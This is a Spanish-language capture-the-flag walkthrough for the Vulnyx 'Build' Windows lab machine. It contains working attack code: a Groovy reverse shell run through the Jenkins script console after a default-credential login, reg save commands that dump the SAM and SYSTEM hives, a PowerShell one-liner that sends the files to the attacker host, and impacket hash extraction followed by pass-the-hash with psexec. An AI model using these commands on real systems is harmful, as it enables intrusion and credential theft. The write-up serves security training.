Build, Vulnix
Herramientas y recursos
En este reto de vulnyx nos encontramos ante una maquina windows.
| Tecnicas | Herramientas |
|---|---|
| reconocimiento red | arpscan |
| scan de puertos | nmap |
| Fuerza bruta | creds por defecto misc configuration |
| jenkins script console | groovy script |
| exfiltracion | powershell |
| login | psexec |
| abuso de SeBackupPrivilege | copiar archivos protegidos |
Reconocimiento y enumeracion
Lo primero es averiguar que ip le ha sido otorgada a la maquina.
1
arp-scan --localnet
- Atacante: 192.168.18.14
- Victima: 192.168.18.41
Le tiramos un nmap buscando puertos abiertos:
1
sudo nmap -p- --open --min-rate 5000 -sS -Pn -n 192.168.18.41 -vvv
Ahora de nuevo con nmap que busque que servicios corren en esos puertos
1
sudo nmap -p 80,135,139,8080,445,49667,49668,49670,5040,49666,49665,49664,40669 --min-rate 5000 -sSV -Pn -n 192.168.18.41 -vvv
En la imagen podemos ver las veriones y los servicios que esta corriendo por cada puerto. Empezamos investigando los http , que en el 80 es la web por defecto de Microsoft internet service pero en el 8080 corre un jenkins y vamos a probar passwords por defecto para esa version.
Con admin:admin estamos dentro, asi que nos vamos a Administrar jenkins > script console y nos mandamos una revshell.
1
String host="192.168.18.14";int port=1188;String cmd="cmd.exe";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Nos ponemos a la escucha con nc y recibimos.
Una vez dentro ejecutamos whoiam y vemos que somos la autorizadad maxima nt authority\system
Leemos las flags
Hasta aqui esta maquina aqui el problema principal ha sido que el servicio jenkins corre con privilegios maximos en la maquina por eso no necesitamos escalada ya podriamos crear usuarios , alterar el registro , crear un revshell que se ejecute cada vez que inicia ,etc…..
Info curiosos:
A partir de aqui son solo pruebas para curiosos de verdad y gente que quiere aprender un poco cada dia, en este caso si quisieramos podriamos crear otro admin directamente, pero yo voy a sacar el hash del admin por si cierran la entrada por jenkins, tener el hash ya seria una forma simple de persistencia.
Voy a usar SeBackupPrivilege para ello primero ejecuto estgos tres comandos de abajo:
1
2
3
reg save HKLM\SAM C:\Windows\Temp\sam.bak
reg save HKLM\SYSTEM C:\Windows\Temp\system.bak
reg save HKLM\SECURITY C:\Windows\Temp\security.bak
Comprobamos que tengan contenido listando el directorio /Temp que es dnd los enviamos ahora solo queda ponernos en escucha y tranferirlos.
1
nc -lvnp 1189 > sam.bak
1
powershell -c "$file='C:\Windows\Temp\sam.bak'; $ip='192.168.18.14'; $port=1189; $fstr=[System.IO.File]::OpenRead($file); $client=New-Object System.Net.Sockets.TCPClient($ip,$port); $sstr=$client.GetStream(); $fstr.CopyTo($sstr); $sstr.Close(); $fstr.Close(); $client.Close()"
Hacemos lo mismo con los otros dos ficheros y una vez en nuestra maquina procedemos a leerlos con impacket secretsdump que a mi en arch me sule dar problemas dado que las librerias son mas modernas que el script , la solucion parasaria por un entorno virtual de python.pypykazt tambien se pone rebelde asi que le paso los errores a la ia y le digo que me cree un script para ignorar esos errores.
1
2
3
4
5
6
7
8
9
10
from impacket.examples.secretsdump import LocalOperations, SAMHashes
from impacket.ntlm import compute_lmhash, compute_nthash
# Cargar la llave del sistema
local_ops = LocalOperations('system.bak')
bootkey = local_ops.getBootKey()
# Extraer hashes de la SAM
sam_hashes = SAMHashes('sam.bak', bootkey, isRemote=False)
sam_hashes.dump()
Ejecuto el script y tenemos el hash
Entramos con hash con la ayuda de psexec
1
python3 impacket_psexec.py Administrator@192.168.18.41 -hashes :480da6d5119d98cddd7fa836ac6c3c0c
Hasta aqui llego mi curiosidad












Comments powered by Disqus.